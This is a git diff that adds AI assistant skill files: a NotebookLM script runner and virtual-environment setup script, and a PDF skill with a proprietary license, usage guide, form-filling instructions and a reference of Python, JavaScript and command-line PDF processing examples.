Python + result = subprocess.run([sys.executable, str(setup_script)]) + if result.returncode != 0: + print("❌ Failed to set up environment") + sys.exit(1) + + print("✅ Environment ready!") + + return get_venv_python() + + +def main(): + """Main runner""" + if len(sys.argv) < 2: + print("Usage: python run.py <script_name> [args...]") + print("\nAvailable scripts:") + print(" ask_question.py - Query NotebookLM") + print(" notebook_manager.py - Manage notebook library") + print(" session_manager.py - Manage sessions") + print(" auth_manager.py - Handle authentication") + print(" cleanup_manager.py - Clean up skill data") + sys.exit(1) + + script_name = sys.argv[1] + script_args = sys.argv[2:] + + # Handle both "scripts/script.py" and "script.py" formats + if script_name.startswith('scripts/'): + # Remove the scripts/ prefix if provided + script_name = script_name[8:] # len('scripts/') = 8 + + # Ensure .py extension + if not script_name.endswith('.py'): + script_name += '.py' + + # Get script path + skill_dir = Path(__file__).parent.parent + script_path = skill_dir / "scripts" / script_name + + if not script_path.exists(): + print(f"❌ Script not found: {script_name}") + print(f" Working directory: {Path.cwd()}") + print(f" Skill directory: {skill_dir}") + print(f" Looked for: {script_path}") + sys.exit(1) + + # Ensure venv exists and get Python executable + venv_python = ensure_venv() + + # Build command + cmd = [str(venv_python), str(script_path)] + script_args + + # Run the script + try: + result = subprocess.run(cmd) + sys.exit(result.returncode) + except KeyboardInterrupt: + print("\n⚠️ Interrupted by user") + sys.exit(130) + except Exception as e: + print(f"❌ Error: {e}") + sys.exit(1) + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/skills/notebooklm/scripts/setup_environment.py b/skills/notebooklm/scripts/setup_environment.py new file mode 100755 index 00000000..a4167d07 --- /dev/null +++ b/skills/notebooklm/scripts/setup_environment.py @@ -0,0 +1,204 @@ +#!/usr/bin/env python3 +""" +Environment Setup for NotebookLM Skill +Manages virtual environment and dependencies automatically +""" + +import os +import sys +import subprocess +import venv +from pathlib import Path + + +class SkillEnvironment: + """Manages skill-specific virtual environment""" + + def __init__(self): + # Skill directory paths + self.skill_dir = Path(__file__).parent.parent + self.venv_dir = self.skill_dir / ".venv" + self.requirements_file = self.skill_dir / "requirements.txt" + + # Python executable in venv + if os.name == 'nt': # Windows + self.venv_python = self.venv_dir / "Scripts" / "python.exe" + self.venv_pip = self.venv_dir / "Scripts" / "pip.exe" + else: # Unix/Linux/Mac + self.venv_python = self.venv_dir / "bin" / "python" + self.venv_pip = self.venv_dir / "bin" / "pip" + + def ensure_venv(self) -> bool: + """Ensure virtual environment exists and is set up""" + + # Check if we're already in the correct venv + if self.is_in_skill_venv(): + print("✅ Already running in skill virtual environment") + return True + + # Create venv if it doesn't exist + if not self.venv_dir.exists(): + print(f"🔧 Creating virtual environment in {self.venv_dir.name}/") + try: + venv.create(self.venv_dir, with_pip=True) + print("✅ Virtual environment created") + except Exception as e: + print(f"❌ Failed to create venv: {e}") + return False + + # Install/update dependencies + if self.requirements_file.exists(): + print("📦 Installing dependencies...") + try: + # Upgrade pip first + subprocess.run( + [str(self.venv_pip), "install", "--upgrade", "pip"], + check=True, + capture_output=True, + text=True + ) + + # Install requirements + result = subprocess.run( + [str(self.venv_pip), "install", "-r", str(self.requirements_file)], + check=True, + capture_output=True, + text=True + ) + print("✅ Dependencies installed") + + # Install Chrome for Patchright (not Chromium!) + # Using real Chrome ensures cross-platform reliability and consistent browser fingerprinting + # See: https://github.com/Kaliiiiiiiiii-Vinyzu/patchright-python#anti-detection + print("🌐 Installing Google Chrome for Patchright...") + try: + subprocess.run( + [str(self.venv_python), "-m", "patchright", "install", "chrome"], + check=True, + capture_output=True, + text=True + ) + print("✅ Chrome installed") + except subprocess.CalledProcessError as e: + print(f"⚠️ Warning: Failed to install Chrome: {e}") + print(" You may need to run manually: python -m patchright install chrome") + print(" Chrome is required (not Chromium) for reliability!") + + return True + except subprocess.CalledProcessError as e: + print(f"❌ Failed to install dependencies: {e}") + print(f" Output: {e.output if hasattr(e, 'output') else 'No output'}") + return False + else: + print("⚠️ No requirements.txt found, skipping dependency installation") + return True + + def is_in_skill_venv(self) -> bool: + """Check if we're already running in the skill's venv""" + if hasattr(sys, 'real_prefix') or (hasattr(sys, 'base_prefix') and sys.base_prefix != sys.prefix): + # We're in a venv, check if it's ours + venv_path = Path(sys.prefix) + return venv_path == self.venv_dir + return False + + def get_python_executable(self) -> str: + """Get the correct Python executable to use""" + if self.venv_python.exists(): + return str(self.venv_python) + return sys.executable + + def run_script(self, script_name: str, args: list = None) -> int: + """Run a script with the virtual environment""" + script_path = self.skill_dir / "scripts" / script_name + + if not script_path.exists(): + print(f"❌ Script not found: {script_path}") + return 1 + + # Ensure venv is set up + if not self.ensure_venv(): + print("❌ Failed to set up environment") + return 1 + + # Build command + cmd = [str(self.venv_python), str(script_path)] + if args: + cmd.extend(args) + + print(f"🚀 Running: {script_name} with venv Python") + + try: + # Run the script with venv Python + result = subprocess.run(cmd) + return result.returncode + except Exception as e: + print(f"❌ Failed to run script: {e}") + return 1 + + def activate_instructions(self) -> str: + """Get instructions for manual activation""" + if os.name == 'nt': + activate = self.venv_dir / "Scripts" / "activate.bat" + return f"Run: {activate}" + else: + activate = self.venv_dir / "bin" / "activate" + return f"Run: source {activate}" + + +def main(): + """Main entry point for environment setup""" + import argparse + + parser = argparse.ArgumentParser( + description='Setup NotebookLM skill environment' + ) + + parser.add_argument( + '--check', + action='store_true', + help='Check if environment is set up' + ) + + parser.add_argument( + '--run', + help='Run a script with the venv (e.g., --run ask_question.py)' + ) + + parser.add_argument( + 'args', + nargs='*', + help='Arguments to pass to the script' + ) + + args = parser.parse_args() + + env = SkillEnvironment() + + if args.check: + if env.venv_dir.exists(): + print(f"✅ Virtual environment exists: {env.venv_dir}") + print(f" Python: {env.get_python_executable()}") + print(f" To activate manually: {env.activate_instructions()}") + else: + print(f"❌ No virtual environment found") + print(f" Run setup_environment.py to create it") + return + + if args.run: + # Run a script with venv + return env.run_script(args.run, args.args) + + # Default: ensure environment is set up + if env.ensure_venv(): + print("\n✅ Environment ready!") + print(f" Virtual env: {env.venv_dir}") + print(f" Python: {env.get_python_executable()}") + print(f"\nTo activate manually: {env.activate_instructions()}") + print(f"Or run scripts directly: python setup_environment.py --run script_name.py") + else: + print("\n❌ Environment setup failed") + return 1 + + +if __name__ == "__main__": + sys.exit(main() or 0) \ No newline at end of file diff --git a/skills/pdf/LICENSE.txt b/skills/pdf/LICENSE.txt new file mode 100644 index 00000000..c55ab422 --- /dev/null +++ b/skills/pdf/LICENSE.txt @@ -0,0 +1,30 @@ +© 2025 Anthropic, PBC. All rights reserved. + +LICENSE: Use of these materials (including all code, prompts, assets, files, +and other components of this Skill) is governed by your agreement with +Anthropic regarding use of Anthropic's services. If no separate agreement +exists, use is governed by Anthropic's Consumer Terms of Service or +Commercial Terms of Service, as applicable: +https://www.anthropic.com/legal/consumer-terms +https://www.anthropic.com/legal/commercial-terms +Your applicable agreement is referred to as the "Agreement." "Services" are +as defined in the Agreement. + +ADDITIONAL RESTRICTIONS: Notwithstanding anything in the Agreement to the +contrary, users may not: + +- Extract these materials from the Services or retain copies of these + materials outside the Services +- Reproduce or copy these materials, except for temporary copies created + automatically during authorized use of the Services +- Create derivative works based on these materials +- Distribute, sublicense, or transfer these materials to any third party +- Make, offer to sell, sell, or import any inventions embodied in these + materials +- Reverse engineer, decompile, or disassemble these materials + +The receipt, viewing, or possession of these materials does not convey or +imply any license or right beyond those expressly granted above. + +Anthropic retains all right, title, and interest in these materials, +including all copyrights, patents, and other intellectual property rights. diff --git a/skills/pdf/SKILL.md b/skills/pdf/SKILL.md new file mode 100644 index 00000000..f6a22ddf --- /dev/null +++ b/skills/pdf/SKILL.md @@ -0,0 +1,294 @@ +--- +name: pdf +description: Comprehensive PDF manipulation toolkit for extracting text and tables, creating new PDFs, merging/splitting documents, and handling forms. When Claude needs to fill in a PDF form or programmatically process, generate, or analyze PDF documents at scale. +license: Proprietary. LICENSE.txt has complete terms +--- + +# PDF Processing Guide + +## Overview + +This guide covers essential PDF processing operations using Python libraries and command-line tools. For advanced features, JavaScript libraries, and detailed examples, see reference.md. If you need to fill out a PDF form, read forms.md and follow its instructions. + +## Quick Start + +```python +from pypdf import PdfReader, PdfWriter + +# Read a PDF +reader = PdfReader("document.pdf") +print(f"Pages: {len(reader.pages)}") + +# Extract text +text = "" +for page in reader.pages: + text += page.extract_text() +``` + +## Python Libraries + +### pypdf - Basic Operations + +#### Merge PDFs +```python +from pypdf import PdfWriter, PdfReader + +writer = PdfWriter() +for pdf_file in ["doc1.pdf", "doc2.pdf", "doc3.pdf"]: + reader = PdfReader(pdf_file) + for page in reader.pages: + writer.add_page(page) + +with open("merged.pdf", "wb") as output: + writer.write(output) +``` + +#### Split PDF +```python +reader = PdfReader("input.pdf") +for i, page in enumerate(reader.pages): + writer = PdfWriter() + writer.add_page(page) + with open(f"page_{i+1}.pdf", "wb") as output: + writer.write(output) +``` + +#### Extract Metadata +```python +reader = PdfReader("document.pdf") +meta = reader.metadata +print(f"Title: {meta.title}") +print(f"Author: {meta.author}") +print(f"Subject: {meta.subject}") +print(f"Creator: {meta.creator}") +``` + +#### Rotate Pages +```python +reader = PdfReader("input.pdf") +writer = PdfWriter() + +page = reader.pages[0] +page.rotate(90) # Rotate 90 degrees clockwise +writer.add_page(page) + +with open("rotated.pdf", "wb") as output: + writer.write(output) +``` + +### pdfplumber - Text and Table Extraction + +#### Extract Text with Layout +```python +import pdfplumber + +with pdfplumber.open("document.pdf") as pdf: + for page in pdf.pages: + text = page.extract_text() + print(text) +``` + +#### Extract Tables +```python +with pdfplumber.open("document.pdf") as pdf: + for i, page in enumerate(pdf.pages): + tables = page.extract_tables() + for j, table in enumerate(tables): + print(f"Table {j+1} on page {i+1}:") + for row in table: + print(row) +``` + +#### Advanced Table Extraction +```python +import pandas as pd + +with pdfplumber.open("document.pdf") as pdf: + all_tables = [] + for page in pdf.pages: + tables = page.extract_tables() + for table in tables: + if table: # Check if table is not empty + df = pd.DataFrame(table[1:], columns=table[0]) + all_tables.append(df) + +# Combine all tables +if all_tables: + combined_df = pd.concat(all_tables, ignore_index=True) + combined_df.to_excel("extracted_tables.xlsx", index=False) +``` + +### reportlab - Create PDFs + +#### Basic PDF Creation +```python +from reportlab.lib.pagesizes import letter +from reportlab.pdfgen import canvas + +c = canvas.Canvas("hello.pdf", pagesize=letter) +width, height = letter + +# Add text +c.drawString(100, height - 100, "Hello World!") +c.drawString(100, height - 120, "This is a PDF created with reportlab") + +# Add a line +c.line(100, height - 140, 400, height - 140) + +# Save +c.save() +``` + +#### Create PDF with Multiple Pages +```python +from reportlab.lib.pagesizes import letter +from reportlab.platypus import SimpleDocTemplate, Paragraph, Spacer, PageBreak +from reportlab.lib.styles import getSampleStyleSheet + +doc = SimpleDocTemplate("report.pdf", pagesize=letter) +styles = getSampleStyleSheet() +story = [] + +# Add content +title = Paragraph("Report Title", styles['Title']) +story.append(title) +story.append(Spacer(1, 12)) + +body = Paragraph("This is the body of the report. " * 20, styles['Normal']) +story.append(body) +story.append(PageBreak()) + +# Page 2 +story.append(Paragraph("Page 2", styles['Heading1'])) +story.append(Paragraph("Content for page 2", styles['Normal'])) + +# Build PDF +doc.build(story) +``` + +## Command-Line Tools + +### pdftotext (poppler-utils) +```bash +# Extract text +pdftotext input.pdf output.txt + +# Extract text preserving layout +pdftotext -layout input.pdf output.txt + +# Extract specific pages +pdftotext -f 1 -l 5 input.pdf output.txt # Pages 1-5 +``` + +### qpdf +```bash +# Merge PDFs +qpdf --empty --pages file1.pdf file2.pdf -- merged.pdf + +# Split pages +qpdf input.pdf --pages . 1-5 -- pages1-5.pdf +qpdf input.pdf --pages . 6-10 -- pages6-10.pdf + +# Rotate pages +qpdf input.pdf output.pdf --rotate=+90:1 # Rotate page 1 by 90 degrees + +# Remove password +qpdf --password=mypassword --decrypt encrypted.pdf decrypted.pdf +``` + +### pdftk (if available) +```bash +# Merge +pdftk file1.pdf file2.pdf cat output merged.pdf + +# Split +pdftk input.pdf burst + +# Rotate +pdftk input.pdf rotate 1east output rotated.pdf +``` + +## Common Tasks + +### Extract Text from Scanned PDFs +```python +# Requires: pip install pytesseract pdf2image +import pytesseract +from pdf2image import convert_from_path + +# Convert PDF to images +images = convert_from_path('scanned.pdf') + +# OCR each page +text = "" +for i, image in enumerate(images): + text += f"Page {i+1}:\n" + text += pytesseract.image_to_string(image) + text += "\n\n" + +print(text) +``` + +### Add Watermark +```python +from pypdf import PdfReader, PdfWriter + +# Create watermark (or load existing) +watermark = PdfReader("watermark.pdf").pages[0] + +# Apply to all pages +reader = PdfReader("document.pdf") +writer = PdfWriter() + +for page in reader.pages: + page.merge_page(watermark) + writer.add_page(page) + +with open("watermarked.pdf", "wb") as output: + writer.write(output) +``` + +### Extract Images +```bash +# Using pdfimages (poppler-utils) +pdfimages -j input.pdf output_prefix + +# This extracts all images as output_prefix-000.jpg, output_prefix-001.jpg, etc. +``` + +### Password Protection +```python +from pypdf import PdfReader, PdfWriter + +reader = PdfReader("input.pdf") +writer = PdfWriter() + +for page in reader.pages: + writer.add_page(page) + +# Add password +writer.encrypt("userpassword", "ownerpassword") + +with open("encrypted.pdf", "wb") as output: + writer.write(output) +``` + +## Quick Reference + +| Task | Best Tool | Command/Code | +|------|-----------|--------------| +| Merge PDFs | pypdf | `writer.add_page(page)` | +| Split PDFs | pypdf | One page per file | +| Extract text | pdfplumber | `page.extract_text()` | +| Extract tables | pdfplumber | `page.extract_tables()` | +| Create PDFs | reportlab | Canvas or Platypus | +| Command line merge | qpdf | `qpdf --empty --pages ...` | +| OCR scanned PDFs | pytesseract | Convert to image first | +| Fill PDF forms | pdf-lib or pypdf (see forms.md) | See forms.md | + +## Next Steps + +- For advanced pypdfium2 usage, see reference.md +- For JavaScript libraries (pdf-lib), see reference.md +- If you need to fill out a PDF form, follow the instructions in forms.md +- For troubleshooting guides, see reference.md diff --git a/skills/pdf/forms.md b/skills/pdf/forms.md new file mode 100644 index 00000000..4e234506 --- /dev/null +++ b/skills/pdf/forms.md @@ -0,0 +1,205 @@ +**CRITICAL: You MUST complete these steps in order. Do not skip ahead to writing code.** + +If you need to fill out a PDF form, first check to see if the PDF has fillable form fields. Run this script from this file's directory: + `python scripts/check_fillable_fields <file.pdf>`, and depending on the result go to either the "Fillable fields" or "Non-fillable fields" and follow those instructions. + +# Fillable fields +If the PDF has fillable form fields: +- Run this script from this file's directory: `python scripts/extract_form_field_info.py <input.pdf> <field_info.json>`. It will create a JSON file with a list of fields in this format: +``` +[ + { + "field_id": (unique ID for the field), + "page": (page number, 1-based), + "rect": ([left, bottom, right, top] bounding box in PDF coordinates, y=0 is the bottom of the page), + "type": ("text", "checkbox", "radio_group", or "choice"), + }, + // Checkboxes have "checked_value" and "unchecked_value" properties: + { + "field_id": (unique ID for the field), + "page": (page number, 1-based), + "type": "checkbox", + "checked_value": (Set the field to this value to check the checkbox), + "unchecked_value": (Set the field to this value to uncheck the checkbox), + }, + // Radio groups have a "radio_options" list with the possible choices. + { + "field_id": (unique ID for the field), + "page": (page number, 1-based), + "type": "radio_group", + "radio_options": [ + { + "value": (set the field to this value to select this radio option), + "rect": (bounding box for the radio button for this option) + }, + // Other radio options + ] + }, + // Multiple choice fields have a "choice_options" list with the possible choices: + { + "field_id": (unique ID for the field), + "page": (page number, 1-based), + "type": "choice", + "choice_options": [ + { + "value": (set the field to this value to select this option), + "text": (display text of the option) + }, + // Other choice options + ], + } +] +``` +- Convert the PDF to PNGs (one image for each page) with this script (run from this file's directory): +`python scripts/convert_pdf_to_images.py <file.pdf> <output_directory>` +Then analyze the images to determine the purpose of each form field (make sure to convert the bounding box PDF coordinates to image coordinates). +- Create a `field_values.json` file in this format with the values to be entered for each field: +``` +[ + { + "field_id": "last_name", // Must match the field_id from `extract_form_field_info.py` + "description": "The user's last name", + "page": 1, // Must match the "page" value in field_info.json + "value": "Simpson" + }, + { + "field_id": "Checkbox12", + "description": "Checkbox to be checked if the user is 18 or over", + "page": 1, + "value": "/On" // If this is a checkbox, use its "checked_value" value to check it. If it's a radio button group, use one of the "value" values in "radio_options". + }, + // more fields +] +``` +- Run the `fill_fillable_fields.py` script from this file's directory to create a filled-in PDF: +`python scripts/fill_fillable_fields.py <input pdf> <field_values.json> <output pdf>` +This script will verify that the field IDs and values you provide are valid; if it prints error messages, correct the appropriate fields and try again. + +# Non-fillable fields +If the PDF doesn't have fillable form fields, you'll need to visually determine where the data should be added and create text annotations. Follow the below steps *exactly*. You MUST perform all of these steps to ensure that the the form is accurately completed. Details for each step are below. +- Convert the PDF to PNG images and determine field bounding boxes. +- Create a JSON file with field information and validation images showing the bounding boxes. +- Validate the the bounding boxes. +- Use the bounding boxes to fill in the form. + +## Step 1: Visual Analysis (REQUIRED) +- Convert the PDF to PNG images. Run this script from this file's directory: +`python scripts/convert_pdf_to_images.py <file.pdf> <output_directory>` +The script will create a PNG image for each page in the PDF. +- Carefully examine each PNG image and identify all form fields and areas where the user should enter data. For each form field where the user should enter text, determine bounding boxes for both the form field label, and the area where the user should enter text. The label and entry bounding boxes MUST NOT INTERSECT; the text entry box should only include the area where data should be entered. Usually this area will be immediately to the side, above, or below its label. Entry bounding boxes must be tall and wide enough to contain their text. + +These are some examples of form structures that you might see: + +*Label inside box* +``` +┌────────────────────────┐ +│ Name: │ +└────────────────────────┘ +``` +The input area should be to the right of the "Name" label and extend to the edge of the box. + +*Label before line* +``` +Email: _______________________ +``` +The input area should be above the line and include its entire width. + +*Label under line* +``` +_________________________ +Name +``` +The input area should be above the line and include the entire width of the line. This is common for signature and date fields. + +*Label above line* +``` +Please enter any special requests: +________________________________________________ +``` +The input area should extend from the bottom of the label to the line, and should include the entire width of the line. + +*Checkboxes* +``` +Are you a US citizen? Yes □ No □ +``` +For checkboxes: +- Look for small square boxes (□) - these are the actual checkboxes to target. They may be to the left or right of their labels. +- Distinguish between label text ("Yes", "No") and the clickable checkbox squares. +- The entry bounding box should cover ONLY the small square, not the text label. + +### Step 2: Create fields.json and validation images (REQUIRED) +- Create a file named `fields.json` with information for the form fields and bounding boxes in this format: +``` +{ + "pages": [ + { + "page_number": 1, + "image_width": (first page image width in pixels), + "image_height": (first page image height in pixels), + }, + { + "page_number": 2, + "image_width": (second page image width in pixels), + "image_height": (second page image height in pixels), + } + // additional pages + ], + "form_fields": [ + // Example for a text field. + { + "page_number": 1, + "description": "The user's last name should be entered here", + // Bounding boxes are [left, top, right, bottom]. The bounding boxes for the label and text entry should not overlap. + "field_label": "Last name", + "label_bounding_box": [30, 125, 95, 142], + "entry_bounding_box": [100, 125, 280, 142], + "entry_text": { + "text": "Johnson", // This text will be added as an annotation at the entry_bounding_box location + "font_size": 14, // optional, defaults to 14 + "font_color": "000000", // optional, RRGGBB format, defaults to 000000 (black) + } + }, + // Example for a checkbox. TARGET THE SQUARE for the entry bounding box, NOT THE TEXT + { + "page_number": 2, + "description": "Checkbox that should be checked if the user is over 18", + "entry_bounding_box": [140, 525, 155, 540], // Small box over checkbox square + "field_label": "Yes", + "label_bounding_box": [100, 525, 132, 540], // Box containing "Yes" text + // Use "X" to check a checkbox. + "entry_text": { + "text": "X", + } + } + // additional form field entries + ] +} +``` + +Create validation images by running this script from this file's directory for each page: +`python scripts/create_validation_image.py <page_number> <path_to_fields.json> <input_image_path> <output_image_path> + +The validation images will have red rectangles where text should be entered, and blue rectangles covering label text. + +### Step 3: Validate Bounding Boxes (REQUIRED) +#### Automated intersection check +- Verify that none of bounding boxes intersect and that the entry bounding boxes are tall enough by checking the fields.json file with the `check_bounding_boxes.py` script (run from this file's directory): +`python scripts/check_bounding_boxes.py <JSON file>` + +If there are errors, reanalyze the relevant fields, adjust the bounding boxes, and iterate until there are no remaining errors. Remember: label (blue) bounding boxes should contain text labels, entry (red) boxes should not. + +#### Manual image inspection +**CRITICAL: Do not proceed without visually inspecting validation images** +- Red rectangles must ONLY cover input areas +- Red rectangles MUST NOT contain any text +- Blue rectangles should contain label text +- For checkboxes: + - Red rectangle MUST be centered on the checkbox square + - Blue rectangle should cover the text label for the checkbox + +- If any rectangles look wrong, fix fields.json, regenerate the validation images, and verify again. Repeat this process until the bounding boxes are fully accurate. + + +### Step 4: Add annotations to the PDF +Run this script from this file's directory to create a filled-out PDF using the information in fields.json: +`python scripts/fill_pdf_form_with_annotations.py <input_pdf_path> <path_to_fields.json> <output_pdf_path> diff --git a/skills/pdf/reference.md b/skills/pdf/reference.md new file mode 100644 index 00000000..41400bf4 --- /dev/null +++ b/skills/pdf/reference.md @@ -0,0 +1,612 @@ +# PDF Processing Advanced Reference + +This document contains advanced PDF processing features, detailed examples, and additional libraries not covered in the main skill instructions. + +## pypdfium2 Library (Apache/BSD License) + +### Overview +pypdfium2 is a Python binding for PDFium (Chromium's PDF library). It's excellent for fast PDF rendering, image generation, and serves as a PyMuPDF replacement. + +### Render PDF to Images +```python +import pypdfium2 as pdfium +from PIL import Image + +# Load PDF +pdf = pdfium.PdfDocument("document.pdf") + +# Render page to image +page = pdf[0] # First page +bitmap = page.render( + scale=2.0, # Higher resolution + rotation=0 # No rotation +) + +# Convert to PIL Image +img = bitmap.to_pil() +img.save("page_1.png", "PNG") + +# Process multiple pages +for i, page in enumerate(pdf): + bitmap = page.render(scale=1.5) + img = bitmap.to_pil() + img.save(f"page_{i+1}.jpg", "JPEG", quality=90) +``` + +### Extract Text with pypdfium2 +```python +import pypdfium2 as pdfium + +pdf = pdfium.PdfDocument("document.pdf") +for i, page in enumerate(pdf): + text = page.get_text() + print(f"Page {i+1} text length: {len(text)} chars") +``` + +## JavaScript Libraries + +### pdf-lib (MIT License) + +pdf-lib is a powerful JavaScript library for creating and modifying PDF documents in any JavaScript environment. + +#### Load and Manipulate Existing PDF +```javascript +import { PDFDocument } from 'pdf-lib'; +import fs from 'fs'; + +async function manipulatePDF() { + // Load existing PDF + const existingPdfBytes = fs.readFileSync('input.pdf'); + const pdfDoc = await PDFDocument.load(existingPdfBytes); + + // Get page count + const pageCount = pdfDoc.getPageCount(); + console.log(`Document has ${pageCount} pages`); + + // Add new page + const newPage = pdfDoc.addPage([600, 400]); + newPage.drawText('Added by pdf-lib', { + x: 100, + y: 300, + size: 16 + }); + + // Save modified PDF + const pdfBytes = await pdfDoc.save(); + fs.writeFileSync('modified.pdf', pdfBytes); +} +``` + +#### Create Complex PDFs from Scratch +```javascript +import { PDFDocument, rgb, StandardFonts } from 'pdf-lib'; +import fs from 'fs'; + +async function createPDF() { + const pdfDoc = await PDFDocument.create(); + + // Add fonts + const helveticaFont = await pdfDoc.embedFont(StandardFonts.Helvetica); + const helveticaBold = await pdfDoc.embedFont(StandardFonts.HelveticaBold); + + // Add page + const page = pdfDoc.addPage([595, 842]); // A4 size + const { width, height } = page.getSize(); + + // Add text with styling + page.drawText('Invoice #12345', { + x: 50, + y: height - 50, + size: 18, + font: helveticaBold, + color: rgb(0.2, 0.2, 0.8) + }); + + // Add rectangle (header background) + page.drawRectangle({ + x: 40, + y: height - 100, + width: width - 80, + height: 30, + color: rgb(0.9, 0.9, 0.9) + }); + + // Add table-like content + const items = [ + ['Item', 'Qty', 'Price', 'Total'], + ['Widget', '2', '$50', '$100'], + ['Gadget', '1', '$75', '$75'] + ]; + + let yPos = height - 150; + items.forEach(row => { + let xPos = 50; + row.forEach(cell => { + page.drawText(cell, { + x: xPos, + y: yPos, + size: 12, + font: helveticaFont + }); + xPos += 120; + }); + yPos -= 25; + }); + + const pdfBytes = await pdfDoc.save(); + fs.writeFileSync('created.pdf', pdfBytes); +} +``` + +#### Advanced Merge and Split Operations +```javascript +import { PDFDocument } from 'pdf-lib'; +import fs from 'fs'; + +async function mergePDFs() { + // Create new document + const mergedPdf = await PDFDocument.create(); + + // Load source PDFs + const pdf1Bytes = fs.readFileSync('doc1.pdf'); + const pdf2Bytes = fs.readFileSync('doc2.pdf'); + + const pdf1 = await PDFDocument.load(pdf1Bytes); + const pdf2 = await PDFDocument.load(pdf2Bytes); + + // Copy pages from first PDF + const pdf1Pages = await mergedPdf.copyPages(pdf1, pdf1.getPageIndices()); + pdf1Pages.forEach(page => mergedPdf.addPage(page)); + + // Copy specific pages from second PDF (pages 0, 2, 4) + const pdf2Pages = await mergedPdf.copyPages(pdf2, [0, 2, 4]); + pdf2Pages.forEach(page => mergedPdf.addPage(page)); + + const mergedPdfBytes = await mergedPdf.save(); + fs.writeFileSync('merged.pdf', mergedPdfBytes); +} +``` + +### pdfjs-dist (Apache License) + +PDF.js is Mozilla's JavaScript library for rendering PDFs in the browser. + +#### Basic PDF Loading and Rendering +```javascript +import * as pdfjsLib from 'pdfjs-dist'; + +// Configure worker (important for performance) +pdfjsLib.GlobalWorkerOptions.workerSrc = './pdf.worker.js'; + +async function renderPDF() { + // Load PDF + const loadingTask = pdfjsLib.getDocument('document.pdf'); + const pdf = await loadingTask.promise; + + console.log(`Loaded PDF with ${pdf.numPages} pages`); + + // Get first page + const page = await pdf.getPage(1); + const viewport = page.getViewport({ scale: 1.5 }); + + // Render to canvas + const canvas = document.createElement('canvas'); + const context = canvas.getContext('2d'); + canvas.height = viewport.height; + canvas.width = viewport.width; + + const renderContext = { + canvasContext: context, + viewport: viewport + }; + + await page.render(renderContext).promise; + document.body.appendChild(canvas); +} +``` + +#### Extract Text with Coordinates +```javascript +import * as pdfjsLib from 'pdfjs-dist'; + +async function extractText() { + const loadingTask = pdfjsLib.getDocument('document.pdf'); + const pdf = await loadingTask.promise; + + let fullText = ''; + + // Extract text from all pages + for (let i = 1; i <= pdf.numPages; i++) { + const page = await pdf.getPage(i); + const textContent = await page.getTextContent(); + + const pageText = textContent.items + .map(item => item.str) + .join(' '); + + fullText += `\n--- Page ${i} ---\n${pageText}`; + + // Get text with coordinates for advanced processing + const textWithCoords = textContent.items.map(item => ({ + text: item.str, + x: item.transform[4], + y: item.transform[5], + width: item.width, + height: item.height + })); + } + + console.log(fullText); + return fullText; +} +``` + +#### Extract Annotations and Forms +```javascript +import * as pdfjsLib from 'pdfjs-dist'; + +async function extractAnnotations() { + const loadingTask = pdfjsLib.getDocument('annotated.pdf'); + const pdf = await loadingTask.promise; + + for (let i = 1; i <= pdf.numPages; i++) { + const page = await pdf.getPage(i); + const annotations = await page.getAnnotations(); + + annotations.forEach(annotation => { + console.log(`Annotation type: ${annotation.subtype}`); + console.log(`Content: ${annotation.contents}`); + console.log(`Coordinates: ${JSON.stringify(annotation.rect)}`); + }); + } +} +``` + +## Advanced Command-Line Operations + +### poppler-utils Advanced Features + +#### Extract Text with Bounding Box Coordinates +```bash +# Extract text with bounding box coordinates (essential for structured data) +pdftotext -bbox-layout document.pdf output.xml + +# The XML output contains precise coordinates for each text element +``` + +#### Advanced Image Conversion +```bash +# Convert to PNG images with specific resolution +pdftoppm -png -r 300 document.pdf output_prefix + +# Convert specific page range with high resolution +pdftoppm -png -r 600 -f 1 -l 3 document.pdf high_res_pages + +# Convert to JPEG with quality setting +pdftoppm -jpeg -jpegopt quality=85 -r 200 document.pdf jpeg_output +``` + +#### Extract Embedded Images +```bash +# Extract all embedded images with metadata +pdfimages -j -p document.pdf page_images + +# List image info without extracting +pdfimages -list document.pdf + +# Extract images in their original format +pdfimages -all document.pdf images/img +``` + +### qpdf Advanced Features + +#### Complex Page Manipulation +```bash +# Split PDF into groups of pages +qpdf --split-pages=3 input.pdf output_group_%02d.pdf + +# Extract specific pages with complex ranges +qpdf input.pdf --pages input.pdf 1,3-5,8,10-end -- extracted.pdf + +# Merge specific pages from multiple PDFs +qpdf --empty --pages doc1.pdf 1-3 doc2.pdf 5-7 doc3.pdf 2,4 -- combined.pdf +``` + +#### PDF Optimization and Repair +```bash +# Optimize PDF for web (linearize for streaming) +qpdf --linearize input.pdf optimized.pdf + +# Remove unused objects and compress +qpdf --optimize-level=all input.pdf compressed.pdf + +# Attempt to repair corrupted PDF structure +qpdf --check input.pdf +qpdf --fix-qdf damaged.pdf repaired.pdf + +# Show detailed PDF structure for debugging +qpdf --show-all-pages input.pdf > structure.txt +``` + +#### Advanced Encryption +```bash +# Add password protection with specific permissions +qpdf --encrypt user_pass owner_pass 256 --print=none --modify=none -- input.pdf encrypted.pdf + +# Check encryption status +qpdf --show-encryption encrypted.pdf + +# Remove password protection (requires password) +qpdf --password=secret123 --decrypt encrypted.pdf decrypted.pdf +``` + +## Advanced Python Techniques + +### pdfplumber Advanced Features + +#### Extract Text with Precise Coordinates +```python +import pdfplumber + +with pdfplumber.open("document.pdf") as pdf: + page = pdf.pages[0] + + # Extract all text with coordinates + chars = page.chars + for char in chars[:10]: # First 10 characters + print(f"Char: '{char['text']}' at x:{char['x0']:.1f} y:{char['y0']:.1f}") + + # Extract text by bounding box (left, top, right, bottom) + bbox_text = page.within_bbox((100, 100, 400, 200)).extract_text() +``` + +#### Advanced Table Extraction with Custom Settings +```python +import pdfplumber +import pandas as pd + +with pdfplumber.open("complex_table.pdf") as pdf: + page = pdf.pages[0] + + # Extract tables with custom settings for complex layouts + table_settings = { + "vertical_strategy": "lines", + "horizontal_strategy": "lines", + "snap_tolerance": 3, + "intersection_tolerance": 15 + } + tables = page.extract_tables(table_settings) + + # Visual debugging for table extraction + img = page.to_image(resolution=150) + img.save("debug_layout.png") +``` + +### reportlab Advanced Features + +#### Create Professional Reports with Tables +```python +from reportlab.platypus import SimpleDocTemplate, Table, TableStyle, Paragraph +from reportlab.lib.styles import getSampleStyleSheet +from reportlab.lib import colors + +# Sample data +data = [ + ['Product', 'Q1', 'Q2', 'Q3', 'Q4'], + ['Widgets', '120', '135', '142', '158'], + ['Gadgets', '85', '92', '98', '105'] +] + +# Create PDF with table +doc = SimpleDocTemplate("report.pdf") +elements = [] + +# Add title +styles = getSampleStyleSheet() +title = Paragraph("Quarterly Sales Report", styles['Title']) 